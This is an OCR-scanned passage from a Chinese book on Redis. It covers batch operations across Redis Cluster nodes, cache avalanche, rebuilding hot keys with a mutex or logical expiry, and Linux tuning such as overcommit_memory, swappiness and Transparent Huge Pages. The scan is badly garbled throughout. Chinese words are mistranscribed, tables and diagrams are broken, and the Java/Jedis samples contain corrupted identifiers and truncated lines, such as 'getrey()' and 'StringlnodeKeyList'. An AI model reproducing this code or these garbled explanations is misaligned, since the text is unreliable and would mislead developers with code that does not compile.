NM | 
> ep a ep Dm en me — , | I 1 

| 一 

| Redis | 
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图 11-9 客户 端 串 行 n 次 命令 


Jedis 客 户 端 示例 代码 如 下 : 





List<String> serialMGet (List<String> keys) { 
/ / 结果 集 
List<String> Values = new ArrayList<String>(); 
// n 次 串 行 get 
for (String key : keys) { 

String value = jedisCluster.get (key); 
values.add (value); 











} 


return values; 





2. 串 行 IO 


Redis Cluster 使 用 CRC16 算 法 计算 出 散 列 值 ， 再 取 对 16383 的 余数 就 可 以 
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算出 slot 值 ， 同 时 10.5 节 我 们 提 到 过 Smart 客 户 端 会 保存 slot 和 节点 的 对 应 关 

系 ， 有 了 这 两 个 数据 就 可 以 将 属于 同一 个 节点 的 key 进 行 归 档 ， 得 到 每 个 节 
点 的 key 子 列表 ， 之 后 对 每 个 节点 执行 mget 或 者 Pipeline 操 作 ， 它 的 操作 时 间 
=node 次 网 络 时 间 +n 次 命令 时 间 ， 网 络 次 数 是 node 的 个 数 ， 整 个 过 程 如 图 11- 
10 所 示 ， 很 明显 这 种 方案 比 第 一 种 要 好 很 多 ， 但 是 如 果 节 点 数 太 多 ， 还 是 有 


一 定 的 性 能 问题 。 















串 行 









| 
| node 次 L 
! 一 一 一 | !| 网 络 时 间 / A 
| | node->subkeys wi 
| ee | 
| | 
a 
| 1node->subkevs | 
| | 一 1 
| ~ gi 
I node |! 
一 | 
| node->subkeys | 
bh 上 | 
| | 一 | 
eg em i ye 一 = | 上 | 
| node 


图 11-10 客户 端 串 行 node 次 网 络 IO 


Jedis 客 户 端 示 例 代 码 如 下 : 





Map<String, String> SerialIOMget (List<String> keys) ({ 
/ / 结果 集 
Map<String, String> keyValueMap = new HashMap<String, String>(); 

// 属于 各 个 节点 的 key 列表 , JedisPool 要 提供 基于 ip 和 port 的 hashcode 方 法 
Map<JedisPool, List<String>> nodeKeyListMap = new HashMap<JedisPool, List<S 
// 遍历 所 有 的 Key 

















715 


for (String key : keys) { 
/ 人/ 使 用 CRC16 本 地 计算 每 个 key 的 S 工 of 
int slot = JedisClusterCRC16.getSlot (key); 
// 通过 jedisCluster 本 地 sl1ot->node 了 映射 获取 sl1ot 对 应 的 node 





























JedisPool jedisPool = jedisCluster.getConnectionHandler() .getJedisPoolF 
SLot (SLot)s 
// 归档 


if (nodeKeyListMap.containsKey (jedisPool)) { 
nodeKeyListMap.get (jedisPool) .add (key); 

} LS8e 

List<String> list = new ArrayList<String>(); 
list.add (key); 

nodeKeyListMap.put (jedisPool, list); 





} 
} 
// ”从 每 个 节点 上 批量 获取 ， 这 里 使 用 mget 也 可 以 使 用 pipelin 
for (Entry<JedisPool, List<String>> entry : nodeKeyListMap.entrySet()) { 
JedisPool jedisPool = entry.getrey(); 
List<String> nodeKeyList = entry.getValue (); 
/ / 列表 变 为 数组 













































































String[] nodeKeyArray = nodeKeyList.toArray (new StringlnodeKeyList.size 
/ / ”批量 获取 ， 可 以 使 用 mget 或 者 Pipeline 

List<String> nodeValueList = jedisPool.getResource() .mget (nodeKeyArray) 
/ / 归档 

for (int i = 0; i < nodeKeyList.size(); i++) { 


keyValueMap.put (nodeKeyList.get(i), nodeValueList.get (i)); 
} 
} 


return keyValueMap; 








3. 并 行 IO 














此 方案 是 将 方案 2 中 的 最 后 一 步 改 为 多 线程 执行 ， 网 络 次 数 虽然 还 是 市 
扩 个 数 ， 但 由 于 使 用 多 线程 网 络 时 间 变 为 O〈1)〉 ， 这 种 方案 会 增加 编程 的 
复杂 硫 。 它 的 操作 时 间 为 : 





max_Slow (node 网 络 时 间 ) +n 次 命令 时 间 





整个 过 程 如 图 11-11 所 示 。 





Jedis 客 户 站 示例 代码 如 下 ， 只 需要 将 串 行 IO 变 为 多 线程 : 





Map<String, String> parallelIOMget (List<String> keys) { 
/ / 结果 集 
Map<String, String> keyValueMap = new HashMap<String, String>(); 

/ / ”属于 各 个 节点 的 Key 列 表 
Map<JedisPool, List<String>> nodeKeyListMap = new HashMap<JedisPool, List<S 
.。。 和 前 面 一 样 
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/ / 多 线程 nge 七 ， 最 终 汇 总 结果 
for (Entry<JedisPool, List<String>> entry : nodeKeyListMap.entrySet()) { 
/ /多 线程 实现 





} 
return keyValueMap; 





| node->subkeys | 


| node->subkeys | 


| node->subkeys | 





图 11-11 客户 端 并 行 node 次 网 络 IO 
4.hash tag 实 现 


10.5 节 介绍 了 Redis Cluster 的 hash tag 功 能 ， 它 可 以 将 多 个 key 强 制 分 配 到 
一 个 节点 上 ， 它 的 操作 时 间 =1 次 网 络 时 间 +n 次 命令 时 间 ， 如 图 11-12 所 示 。 
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| 1000 个 userid key 


{user! ] | user} 1000 user|,user2,userd,.**user | O( | 





ED a a ep en ”SD ex Te 


图 11-12 ”hash tag 将 多 个 key 分 配 到 一 个 节点 


如 图 11-13 所 示 ， 所 有 key 属 于 node2 节 点 。 


1 次 网 络 
时 间 


| 
| 
| 
| 
| 
| 
| 
ps ! 
Dm 
keyl {tag},key2 {tag}… | tag 一 node2 | ee ) : 
eid | | 上 
| 
| 
| 
| 
| 
| 
| 
| 
| 
| 


| 
| 
| 
| 
| 
| 
| 
| 
| 
| 
~ | 
| 
| 
| 
| 
| 
| 
1 
| 
| 
I 








ua 


EF 
No gf 
node3 


a Sn es 
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图 11-13 ”hashtag 只 需要 1 次 网 络 时 间 


Jedis 客 户 端 示 例 代 码 如 下 : 





List<String> hashTagMget (String[] hashTagKeys) { 
return jedisCluster.mget (hashTagKeys); 





} 





上 面 已 经 对 批量 操作 的 四 种 方案 进行 了 介绍 ， 最 后 通过 表 11-4 来 对 四 种 
方案 的 优 缺 点 、 网 络 IO 次数 进 行 一 个 总 结 。 


表 11-4 四 种 批量 操作 解决 方案 对 比 







1 ) 编程 简单 
2 ) 如 果 少 量 keys, 性 能 可 以 满足 要 求 
1 ) 编程 简单 


HH 上- -和 EN 
2 ) 少量 节点 ， 性 能 ; 


串 行 命令 


编程 复杂 
由 于 多 线程 ， 问 题 定 位 可 能 较 难 
业务 维护 成 本 较 高 


并 行 IO 


容易 出 现 数据 倾斜 


实际 开发 中 可 以 根据 表 11-4 给 出 的 优 缺 点 进行 分 机 ， 没 有 最 好 的 方案 只 
有 最 合适 的 方案 。 
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11.6 雪崩 优化 


图 11-14 摘 述 了 什么 是 缓存 雪崩 : 由 于 缓存 层 承 载 着 大 量 请 求 ， 有 效 地 
保护 了 存储 层 ， 但 是 如 果 缓 存 层 由 于 某 些 原因 不 能 提供 服务 ， 于 是 所 有 的 请 
求 都 会 达到 存储 层 ， 存 储 层 的 调用 量 会 又 增 ， 造 成 存储 层 也 会 级 联 宕 机 的 情 
况 。 绥 存 雪崩 的 英文 原意 是 stampeding herd〈 奔 逃 的 野牛 ) ， 指 的 是 缓存 层 
宕 掉 后 ， 尝 量 会 像 奔 逃 的 野牛 一 样 ， 打 同 后 端 存储 。 











| 缀 右 居 | | > 


| 


| 存储 导 | | 存储 | 





图 11-14 ”缓存 层 不 可 用 引起 的 雪 骨 





预防 和 解决 缓存 雪 毅 问题 ， 可 以 从 以 下 三 个 方面 进行 着 手 。 


1) 保证 绥 存 层 服 务 高 可 用 性 。 和 飞机 都 有 多 个 引 警 一样， 如果 绥 存 层 
设计 成 高 可 用 的 ， 即 使 个 别 节 点 、 个 别 机 器 、 甚 至 是 机 房 穷 把， 依然 可 以 提 
供 服务 ， 例 如 前 面 介 绍 过 的 Redis Sentinel 和 Redis Cluster 都 实现 了 高 可 用 。 


720 


2) 依赖 隔离 组 件 为 后 端 限 流 并 降级 。 无 论 是 缓存 层 还 是 存储 层 都 会 有 
出 错 的 概率 ， 可 以 将 它们 视 同 为 资源 。 作 为 并 发 量 较 大 的 系统 ， 假 如 有 一 个 
资源 不 可 用 ， 可 能 会 造成 线程 全 部 阻塞 (hang) 在 这 个 资源 上 ， 造 成 整个 系 
统 不 可 用 。 降 级 机 制 在 高 并 发 系统 中 是 非常 普遍 的 : 比如 推荐 服务 中 ， 如 果 
个 性 化 推荐 服务 不 可 用 ， 可 以 降级 补充 热点 数据 ， 不 至 于 造成 前 端 页 面 是 开 
天 窗 。 在 实际 项 目 中 ， 我 们 需要 对 重要 的 资源 (例如 Redis、MySQL.、 
HBase、 外 部 接口 ) 都 进行 隔离 ， 让 每 种 资源 都 单独 运行 在 自己 的 线程 池 
中 ， 即 使 个 别 资 源 出 现 了 问题 ， 对 其 他 服务 没有 影响 。 但 是 线程 池 如 何 管 
理 ， 比 如 如 何 关闭 资 源 池 、 开 启 资 源 池 、 资 源 池 阀 值 管理 ， 这 些 做 起 来 还 是 
相当 复杂 的 。 这 里 推荐 一 个 Java 依 赖 隔离 工具 
Hystrix (https://github.conynetflix/hystrix)〉， 如 图 11-15 所 示 。Hystrix 是 解决 依 
赖 隔离 的 利器 ， 但 是 该 内 容 已 经 超出 本 书 的 范围 ， 同 时 只 适用 于 Java 应 用 ， 
所 以 这 里 不 会 详细 介绍 。 

















3) 提前 演练 。 在 项 目 上 线 前 ， 演 练 缓 存 层 宕 掉 后 ， 应 用 以 及 后 端的 负 
载 情 况 以 及 可 能 出 现 的 问题 ， 在 此 基础 上 做 一 些 预 案 设 定 。 
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App Container( Tomcat/Jetty/etc) 


User request blocked by latency in single 
At 50+requests/ SeCOI 





Dependency A 
SS 
Dependency D Dependency E 









图 11-15 ”Hystrix 示 意图 
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11.7 热点 key 重 建 优化 





开发 人 员 使 用 “缓存 + 过 期 时 间 ” 的 策略 既 可 以 加 速 数据 读 写 ， 又 保证 数 
据 的 定期 更 新 ， 这 种 模式 基本 能 够 满足 绝 大 部 分 需求 。 但 是 有 两 个 问题 如 果 
同时 出 现 ， 可 能 就 会 对 应 用 造成 致命 的 危害 : 


当前 key 是 一 个 热点 Key《〈 例 如 一 个 热门 的 娱乐 新 闻 ) ， 并 发 量 非 党 
大 。 





.重建 缓存 不 能 在 短 时 间 完 成 ， 可 能 是 一 个 复杂 计算 ， 例 如 复杂 的 
SQL、 多 次 IJO、 多 个 依赖 等 。 


在 缓存 失效 的 瞬间 ， 有 大 量 线程 来 重建 缓存 〈 如 图 11-16 所 示 ) ， 造 成 
后 并 负载 加 大 ， 甚 至 可 能 会 让 应 用 崩 演 。 


要 解决 这 个 问题 也 不 是 很 复杂 ， 但 古 不 能 为 了 解决 这 个 问题 给 系统 禹 来 
更 多 的 及 烦 ， 所 以 需要 制定 如 下 目标 : 


减少 重建 缓存 的 次 数 。 
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图 11-16 热点 key 失 效 后 大 量 线程 重建 缓存 


数据 尽 可 能 一 致 。 
较 少 的 潜在 危险 。 


1. 互 斥 锁 (mutex key) 
此 方法 只 人 允许 一 个 线程 重建 缓存 ， 其 他 线程 等 待 重建 缓存 的 线程 执行 
完 ， 重 新 从 绥 存 获取 数据 即 可 ， 整 个 过 程 如 图 11-17 所 示 。 
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图 11-17 ”使 用 互 斥 锁 重 建 缓存 


下 面 代码 使 用 Redis 的 setnx 命 令 实 现 上 述 功 能 : 





String get (String key) { 
// 从 Redis 中 获取 数据 
































String Value = redis.get (key); 
// 如 果 value 为 空 ， 则 开始 重 构 缓存 
if (value == null) { 
/ / ”只 允许 一 个 线程 重 构 缓 存 ， 使 用 nx， 并 设置 过 期 时 间 ex 
String mutexKey = "mutext:key:" + key; 
if (redis.set (mutexKey, "1", "ex 180"， "nx")) { 
/ / 从 数据 源 获取 数据 
value = db.get (key); 








// 回 写 Redis， 并 设置 过 期 时 间 
redis.setex(key, timeout, value); 
// 删除 key_mutex 

redis.delete (mutexKey); 























} 
/ / 其 他 线程 休息 5 0 毫秒 后 重 试 





else { 
Thread.sleep (50); 
get (key); 


} 
} 


return value; 





1) 从 Redis 获 取 数 据 ， 如 果 值 不 为 空 ， 则 直接 返回 值 ; 否则 执行 下 面 的 
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2.1) 和 2.2) 步骤 。 


2.1) 如 果 set (nx 和 ex) 结果 为 tue， 说 明 此 时 没有 其 他 线程 重建 缓存 ， 
那么 当前 线程 执行 缓存 构建 逻辑 。 


2.2) 如 果 set (nx 和 ex) 结果 为 false， 说 明 此 时 已 经 有 其 他 线程 正在 执 
行 构建 绥 存 的 工作 ， 那 么 当前 线程 将 休 明 指定 时 间 (例如 这 里 是 50 暑 秒 ， 取 
决 于 构建 缓存 的 速度 ) 后 ， 重 新 执行 函数 ， 直 到 获取 到 数据 。 


2. 永 远 不 过 期 
“永远 不 过 期 "包含 两 层 意思 : 


` 从 缓存 层面 来 看 ， 确 实 没 有 设置 过 期 时 间 ， 所 以 不 会 出 现 热 点 key 过 期 
后 产生 的 问题 ， 也 就 是 “物理 ”不 过 期 。 


从 功能 层面 来 看 ， 为 每 个 value 设 置 一 个 逻辑 过 期 时 间 ， 当 发 现 超过 过 
辑 过 期 时 间 后 ， 会 使 用 单独 的 线程 去 构建 缓存 。 


整个 过 程 如 图 11-18 所 示 。 


从 实战 看 ， 此 方法 有 效 杜 绝 了 热点 key 产 生 的 问题 ， 但 唯一 不 足 的 就 是 
重 构 缓存 期 间 ， 会 出 现 数 据 不 一 致 的 情况 ， 这 取决 于 应 用 方 是 否 容忍 这 种 不 
一 致 。 下 面 代 码 使 用 Redis 进 行 模 拟 : 











String get (final String key) ({ 
Vv = redis.get (key); 
String Value = v.getValue (); 
/ / 逻辑 过 期 时 间 
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发 现 valuc 中 
的 过 期 时 间 过 
期 有 异步 更 背 





图 11-18 “永远 不 过 期 ”策略 





long logicTimeout = V.g9etLogicTimeout () 
/ /” ”如果 逻辑 过 期 时 间 小 于 当前 时 间 ， 开 始 后 台 构 建 
if (v.logicTimeout <= System.currentTimeMillis()) i 
String mutexKey = "mutex:key:" + key; 
if (redis.set (mutexKey, "1", "ex 180", "nx")) 1 
/ / 重 构 缓存 
threadqPool .execute (new Runnable() { 
public void run() { 
String dbValue = db.get (key); 
redis.set(key, (dbvalue,newLogicTimeout)); 
redis.delete (mutexKey); 



































}); 
} 
} 


return value; 


727 


作为 一 个 并 发 量 较 大 的 应 用 ， 在 使 用 缓存 时 有 三 个 目标 : 第 一 ， 加 快 用 
户 访问 速度 ， 提 高 用 户 体验 。 第 二 ， 降 低 后 端 负载 ， 减 少 潜在 的 风险 ， 保 证 
系统 平稳 。 第 三 ， 保 证 数据 “ 尽 可 能 ”及 时 更 新 。 下 面 将 按照 这 三 个 维度 对 上 
述 两 种 解决 方案 进行 分 析 。 





` 互 奈 锁 (mutexkey) : 这 种 方案 思路 比较 简单 ， 但 是 存在 一 定 的 隐 
患 ， 如 果 构 建 绥 存 过 程 出 现 问 题 或 者 时 间 较 长 ， 可 能 会 存在 死 锁 和 线程 池 阻 
塞 的 风险 ， 但 是 这 种 方法 能 够 较 好 地 降低 后 端 存储 负载 ， 并 在 一 致 性 上 做 得 
比较 好 。 


“永远 不 过 期 ”: 这 种 方案 由 于 没有 设置 真正 的 过 期 时 间 ， 实 际 上 已 经 
不 存在 热点 key 产 生 的 一 系列 危害 ， 但 是 会 存在 数据 不 一 致 的 情况 ， 同 时 代 
码 复杂 上 度 会 增 大 。 





两 种 解决 方法 对 比如 表 11-5 所 示 。 


表 11-5 两 种 热点 key 的 解决 方法 
解决 方案 缺点 
。 代 码 复杂 度 增 大 
* 存在 死 锁 的 风险 
* 存在 线程 池 阻 塞 的 风险 
。 不 保证 一 致 性 
“逻辑 过 期 时 间 增 加 代码 维护 成 本 和 内 存 成 本 


。 旬 凡人 剖 
简单 分 布 式 锁 思路 简单 


“保证 一 致 性 


“永远 不 过 期 ” 基本 杜绝 热点 key 问题 
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11.8 ”本章 重点 回顾 


绥 存 的 使 用 带 来 的 收益 是 能 够 加 速 该 写 ， 降 低 后 端 存储 负载 。 


Va 


1 





2) 缓存 的 使 用 带 来 的 成 本 是 缓存 和 存储 数据 不 一 致 性 ， 代 码 维护 成 本 
增 大 ， 架 构 复 林 度 增 大 。 





3) 比较 推荐 的 缓存 更 新 策略 是 结合 剔除 、 超 时 、 主 动 更 新 三 种 方案 共 


4) 穿 透 问题 : 使 用 缓存 空 对 象 和 布 隆 过 滤器 来 解决 ， 注 意 它们 各 目的 
使 用 场景 和 局 限 性 。 





5) 无 底 洞 问题 : 分 布 式 缓存 中 ， 有 更 多 的 机 器 不 保证 有 更 高 的 性 能 。 
有 四 种 批量 操作 方式 : 串 行 命令 、 串 行 IO、 并 行 IO、hash tag。 


6) 雪 衣 问题 : 缓存 层 高 可 用 、 客 户 端 降级 、 提 前 演练 是 解决 委 骨 问题 


的 重要 方法 。 


7) 热点 key 问 题 : 互 斥 锁 ,“ 了 永远 不 过 期 "能够 在 一 定 程度 上 解决 热点 
key 问 题 ， 开 发 人 员 在 使 用 时 要 了 解 它们 各 目的 使 用 成 本 。 
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第 12 盖 ” 开 及 运 维 的 “陷阱 ” 


在 Redis 的 开发 和 运 维 过 程 中 ， 由 于 对 于 Redis 的 某 些 特性 没有 真正 合理 
地 使 用 ， 会 遇 到 一 些 环 手 的 问题 ， 本 章 将 对 一 些 典 型 的 “陷阱 ?进行 逐一 分 析 
并 提出 解决 方案 ， 主 要 内 容 包 括 : 





-Linux 配置 优化 要 点 。 
flushall/flushdb 误 操作 快速 恢复 方法 。 
.安全 的 Redis 如 何 设计 。 

处理 bigkey 的 方案 与 最 佳 实践 。 


寻找 热点 key。 
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12.1 Linux 配 置 优化 


通常 来 看 ，Redis 开 发 和 运 维 人 员 更 加 关注 的 是 Redis 本 里 的 一 些 配 置 优 
化 ， 例 如 AOF 和 RDB 的 配置 优化 、 数 据 结构 的 配置 优化 等 ， 但 是 对 于 操作 系 
统 是 否 需 要 针对 Redis 做 一 些 配置 优化 不 甚 了 解 或 者 不 太 关 心 。 然 而 事实 证 
明 一 个 良好 的 系统 操作 配置 能 够 为 Redis 服 务 良好 运行 保驾 护航 。 








在 第 1 章 我 们 提 到 过 ，Redis 的 作者 对 于 Windows 操 作 系 统 并 不 兴趣 ， 目 
前 大 部 分 公司 都 会 将 Web 服 务 器 、 数 据 库 服务 器 等 部 署 在 Linux 操 作 系 统 上 ， 
Redis 也 不 例外 ， 所 以 接 下 来 介绍 Linux 操 作 系 统 如 何 优化 Redis。 
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12.1.1 内 存 分 配 控制 


l.vm.overcommit memory 


Redis 在 启动 时 可 能 会 出 现 这 样 的 日 志 : 





# WARNING overcommit memory is set to 0! Background save may fail under low mem 
condition. To fix this issue add 'vm.overcommit memory = 1' to /etc/sysctl. 
then reboot or run the command 'sysctl1 vm.overcommit memory=1' for this to 





在 分 析 这 个 问题 之 前 ， 首 先 要 卉 清楚 什么 是 overcommit? Linux 操 作 系统 
对 大 部 分 申请 内 存 的 请 求 都 回复 yes， 以 便 能 运行 更 多 的 程序 。 因 为 申请 内 
存 后 ， 并 不 会 号 上 使 用 内 存 ， 这 种 技术 叫做 overcommit。 如 由 Redis 在 局 动 时 
有 上 面 的 日 志 ， 说 明 vm.overcommit_memory=0，Redis 提 示 把 它 设置 为 1。 


vm.overcommit memory 用 来 设置 内 存 分 配 策略 ， 有 三 个 可 选 值 ， 如 表 


12-1 所 示 。 


表 12-1 vm.overcommit memory 的 三 个 可 选 值 及 说 明 


值 含义 
表示 内 核 将 检查 是 否 有 足够 的 可 用 内 存 。 如 果 有 足够 的 可 用 内 存 ， 内 存 申请 通过 ， 和 否则 内 存 申请 失败 ， 
并 把 错误 返回 给 应 用 进程 
1 表示 内 核 允 许 超 量 使 用 内 存 直到 用 完 为 止 
表示 内 核 决 不 过 量 的 ( "never overcommit" ) 使 用 内 存 ， 即 系统 整个 内 存 地 址 空间 不 能 超过 swap+50% 
的 RAM 值 ，50% 是 overcommit ratio 默认 值 ， 此 参数 同样 支持 修改 


Ons 


本 市 的 可 用 内 存 代表 物理 内 存 与 swap 之 和 。 


iD 


日 志 中 的 Background save 代 表 的 是 bgsave 和 bgrewriteaof， 如 果 当 前 可 用 
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内 存 不 足 ， 操 作 系 统 应 该 如 何 处 理 fork 操 作 。 如 果 
vm.overcommit_memory=0， 代 表 如 果 没 有 可 用 内 存 ， 就 申请 内 存 失败 ， 对 应 
到 Redis 束 是 执行 fork 失 败 ， 在 Redis 的 日 志 会 出 现 : 





Cannot allocate memory 








Redis 建 议 把 这 个 值 设 置 为 !， 是 为 了 让 fork 操 作 能 够 在 低 内 存 下 也 执行 
成 功 。 


2. 获 取 和 设置 


获取 : 





# cat /proc/sys/vm/overcommit memory 
0 





设置 : 





echo "vm.overcommit _ memory=1" >> /etc/sysctl.conf 
SYSct] vm.overcommit memory=1 





3. 最 佳 实践 
Redis 设 置 合理 的 maxmemory， 保 证 机 器 有 20%~30% 的 闲置 内 存 。 
.集中 化 管理 AOF 重 写 和 RDB 的 bgsave。 


:设置 vm.overcommit memory=1， 防 止 极端 情况 下 会 造成 fork 失 败 。 
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12.1.2 swappiness 


1. 参 数 说 明 


swap 对 于 操作 系统 来 比较 重要 ， 当 物理 内 存 不 足 时 ， 可 以 将 一 部 分 内 
存 页 进行 swap 操 作 ， 己 解 燃眉之急 。 但 世界 上 没有 免费 午餐 ，swap 空 间 由 
人 硬盘 提供 ， 对 于 需要 高 并 发 、 高 知 吐 的 应 用 来 说 ， 磁 盘 IO 通常 会 成 为 系统 瓶 
颈 。 在 Linux 中 ， 并 不 是 要 等 到 所 有 物理 内 存 都 使 用 完 才 会 使 用 到 swap， 系 
统 参数 swppiness 会 决定 操作 系统 使 用 swap 的 倾 问 程度 。swappiness 的 取 值 范 
围 是 0~100，swappiness 的 值 越 大 ， 说 明 操作 系统 可 能 使 用 swap 的 概率 越 
高 ，swappiness 值 越 低 ， 表 示 操 作 系 统 更 加 倾向 于 使 用 物理 内 存 。swap 的 默 
认 值 是 60， 了 人 解 这 个 值 的 含义 后 ， 有 利于 Redis 的 性 能 优化 。 表 12-2 对 
swappiness 的 重要 值 进行 了 说 明 。 











表 12-2 swapniess 重 要 值 策 略 说 明 


值 策 略 

Linux3.5 以 及 以 上 : 宁愿 用 OOM killer 也 不 用 swap 

Linux3.4 以 及 更 早 : 宁愿 用 swap 也 不 用 OOM killer 
愿 ) 





1 Linux3.5 以 及 以 上 : 宁愿 用 swap 也 不 用 OOM killer 
60 默认 值 
100 操作 系统 会 主动 地 使 用 swap 


© 


OOM (Out Of Memory〉killer 机 制 是 指 Linux 操 作 系 统 发 现 可 用 内 存 不 足 
时 ， 强 制 杀 死 一 些 用 户 进程 〈《 非 内 核 进程 ) ， 来 保证 系统 有 足够 的 可 用 内 存 
进行 分 配 。 
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从 表 12-2 中 可 以 看 出 ，swappiness 参 数 在 Linux3.5 版 本 前 后 的 表现 并 不 完 
全 相同 ，Redis 运 维 人 员 在 设置 这 个 值 需 要 关注 当前 操作 系统 的 内 核 版 本 。 


2. 设 置 方 法 


swappiness 设 置 方法 如 下 : 





echo {bestvalue} > /proc/sys/vm/swappiness 





但 是 上 述 方法 在 系统 重启 后 就 会 失效 ， 为 了 让 配置 在 重启 Linux 操 作 系 
统 后 立即 生效 ， 只 需要 在 /etc/sysctl.conf 追 加 vm.swappiness={fbestvalue} 即 


可 。 





echo vm.swappiness={bestvalue} >> /etc/sysctl.conf 





需要 注意 /proc/sys/vm/swappiness 是 设置 操作 ，/ete/sysctl.conf 是 退 加 操 
1 


3. 如 何 监控 swap 
(1) 查看 swap 的 总 体 情况 


Linux 提 供 了 free 命 令 来 查询 操作 系统 的 内 存 使 用 情况 ， 其 中 也 包含 了 
swap 的 相关 使 用 情况 。 下 面 是 某 台 Linux 服 务 器 执行 fee-m (以 兆 为 单位 ) 
的 结果 ， 其 中 需要 重点 关注 的 是 最 后 一 行 的 swap 统 计 ， 从 执行 结果 看 ， 
swap 一 共有 4095MB， 使 用 了 0OMB， 空 闲 409SMB。 





total used free shared buffers cached 
Mem: 64385 31573 32812 0 503 10026 
-/+ buffers/cache: 21040 43344 
Swap: 4095 0 4095 


在 男 一 台 Linux 服 务 器 同样 执行 fee-m， 这 台 服 务 器 开启 了 8189M swap， 
其 中 使 用 了 5241MB。 





total used free shared buffers cached 
Mem: 24096 8237 15859 0 136 2483 
-/+ buffers/cache: 5617 18479 
Swap: 8189 5241 2947 





(2) 实时 查看 swap 的 使 用 


Linux 提 供 了 vmstat 命 令 碍 询 系统 的 相关 性 能 指标 ， 其 中 包含 负载 、 
CPU、 内 存 、swap、IO 的 相关 属性 。 但 其 中 和 swap 有 关 的 指标 是 si 和 so， 它 
们 分 别 代 表 操 作 系 统 的 swap in 和 swap out。 下 面 是 执行 vmstatl 〈 每 隔 一 秒 输 
出 ) 的 效果 ， 可 以 看 到 si 和 so 都 为 0， 代 表 当 前 没有 使 用 swap。 








# vmstat 1 


BEOCS 一 一 一 一 一 二 三 一 一 二 memory---------- -—--— Swap-- ----- 全 system== 一 一 二 一 一 GPU==== 
rr 汪 swpd free buff cache SL 者。 的 二 DT 尖 而 cs us sy id wa st 
1 0 0 33593468 517656 10271928 0 0 0 1 0 0. 8 -QQ 91 0. 0 
4 0 0 33594516 517656 10271928 0 0 0 0 10606 9647 10 1 90 0 
二 0 33594392 517656 10271928 0 0 0 0 11490 10244 11 1 89 0 
6 0 0 33594292 517656 10271928 0 0 0 36 12406 10681 13 1 87 0 





(3) 碍 看 指定 进程 的 swap 使 用 情况 


Linux 操 作 系 统 中 ，/proc/{pid} 目录 是 存储 指定 进程 的 相关 信息 ， 其 
中 /proc/{pid}/smaps 记 录 了 当前 进程 所 对 应 的 内 存 映像 信息 ， 这 个 信息 对 于 
查询 指定 进程 的 swap 使 用 情况 很 有 帮助 。 下 面 以 一 个 Redis 实 例 进 行 说 明 。 


通过 info server 获 取 Redis 的 进程 号 process id: 





redis-cli -h ip -p port info server | grep process id 
process id:986 
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通过 cat/proc/986/smaps 查 询 Redis 的 smaps 信 息 ， 由 于 有 多 个 内 存 块 信 
轧 ， 这 里 只 输出 一 个 内 存 块 镜像 信息 进行 观察 : 








2aab0a400000-2aab35c00000 rw-p 2aab0a400000 00:00 0 








Size: 712704 kB 
及 SS: 617872 kB 
Shared Clean: 0 kB 
Shared Dirty: 0 kB 
Private Clean: 15476 kB 
Private Dirty: 602396 kB 
Swap: 58056 kB 
Pss: 617872 kB 





其 中 Swap 字 段 代表 该 内 存 块 存在 swap 分 区 的 数据 大 小 。 通 过 执行 如 下 
命令 ， 就 可 以 找到 每 个 内 存 块 镜像 信息 中 ， 这 个 进程 使 用 到 的 swap 量 ， 通 
过 求 和 残 可 以 算出 总 的 swap 用 量 : 








cat /proc/986/smaps | grep Swap 


Swap: 0 kB 
Swap: 0 KB.. 
Swap: 0 kB 
Swap: 478320 kB.. 
Swap: 624 kB 
Swap: 0 kB 





如 果 Linux>3.$，vm.swapniess=1， 人 否则 vm.swapniess=0， 从 而 实现 如 下 
两 个 目标 : 


物理 内 存 充足 时 候 ， 使 Redis 足 够 快 。 


-物理 内 存 不 足 时 候 ， 避 人 免 Redis 死 掉 (如果 当 前 Redis 为 高 可 用 ， 死 挥 比 
阻 豆 更 好 ) 。 
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lz2.l.3 THP 


Redis 在 启动 时 可 能 会 看 到 如 下 日 志 : 





WARNING you have Transparent Huge Pages (THP) support enabled in your kernel. 了 
will create latency and memory usage issues with Redis. To fix this issue LT 
the command "echo never > /sys/kernel/mm/transparent hugepage/enabled' as r 
and adqd it to your /etc/rc.local in order to retain the setting after a reb 
Redis must be restarted after THP is disabled. 








从 提示 看 Redis 建 议 修 改 Transparent Huge Pages (THP) 的 相关 配置 ， 
Linux kernel 在 2.6.38 内 核 增 加 了 THP 特 性 ， 支 持 大 内 存 页 (2MB) 分 配 ， 默 
认 开 局。 当 开 启 时 可 以 降低 fork 子 进程 的 速度 ， 但 fork 操 作 之 后 ， 每 个 内 存 
页 从 原来 4KB 变 为 2MB， 会 大 幅 增加 重 写 期 间 父 进程 内 存 消 耗 。 同 时 每 次 写 
命令 引起 的 复制 内 存 页 单位 放大 了 512 倍 ， 会 拖 慢 写 操作 的 执行 时 间 ， 导 致 
大 量 写 操作 慢 查 询 ， 例 如 简单 的 incr 命 令 也 会 出 现在 慢 查 询 中 。 因 此 Redis 日 
志 中 建议 将 此 特性 进行 禁用 ， 禁 用 方法 如 下 : 











echo never > /sys/kernel/mm/transparent hugepage/enabled 





为 了 使 机 器 重启 后 THP 配 置 依然 生效 ， 可 以 在 /etc/rc.local 中 追加 echo 








never>/sys/kernel/mnytransparent hugepage/enabled。 





在 设置 THP 配 置 时 需要 注意 : 有 些 Linux 的 发 行 版 本 没有 将 THP 放 
到 /sys/kernel/mnaytransparent hugepage/enabled 中 ， 例 如 Red Hat6 以 上 的 THP 配 








置 放 到 /sys/kernel/mm/redhat transparent hugepage/enabled 中 。 而 Redis 源 码 中 
检查 THP 时 ， 把 THP 位 置 写 死 : 








FILE *fp = fopen("/sys/kernel/mm/transparent hugepage/enabled", "r"); 
if (!fp) return 0; 
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所 以 在 发 行 版 中 ， 虽 然 没 有 THP 的 日 志 提 示 ， 但 是 依然 存在 THP 所 带 来 


的 问题 : 





echo never > /sys/kernel/mm/redhat transparent hugepage/enabled 
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12.1.4 OOM killer 


OOM killer 会 在 可 用 内 存 不 足 时 选择 性 地 杀 掉 用 户 进 程 ， 它 的 运行 规则 
是 怎样 的 ， 会 选择 哪些 用 户 进程 下手” 呢 ? OOM killer 进 程 会 为 每 个 用 户 进 
程 设置 一 个 权 值 ， 这 个 权 值 越 高 ， 被 下手” 的 概率 就 越 高 ， 反 之 概率 越 低 。 
每 个 进程 的 权 值 存放 在 /proc/{progress_ id}/oom score 中 ， 这 个 值 是 
受 /proc/{progress_id}/oom adj 的 控制 ，oom adj 在 不 同 的 Linux 版 本 中 最 小 值 
不 同 ， 可 以 参考 Linux 源 码 中 oom.h《〈 从 -15 到 -17) 。 当 oom_adj 设 置 为 最 小 值 
时 ， 该 进程 将 不 会 被 OOM killer 杀 掉 ， 设 置 方法 如 下 。 


echo {value} > /proc/${process id}/oom adj 


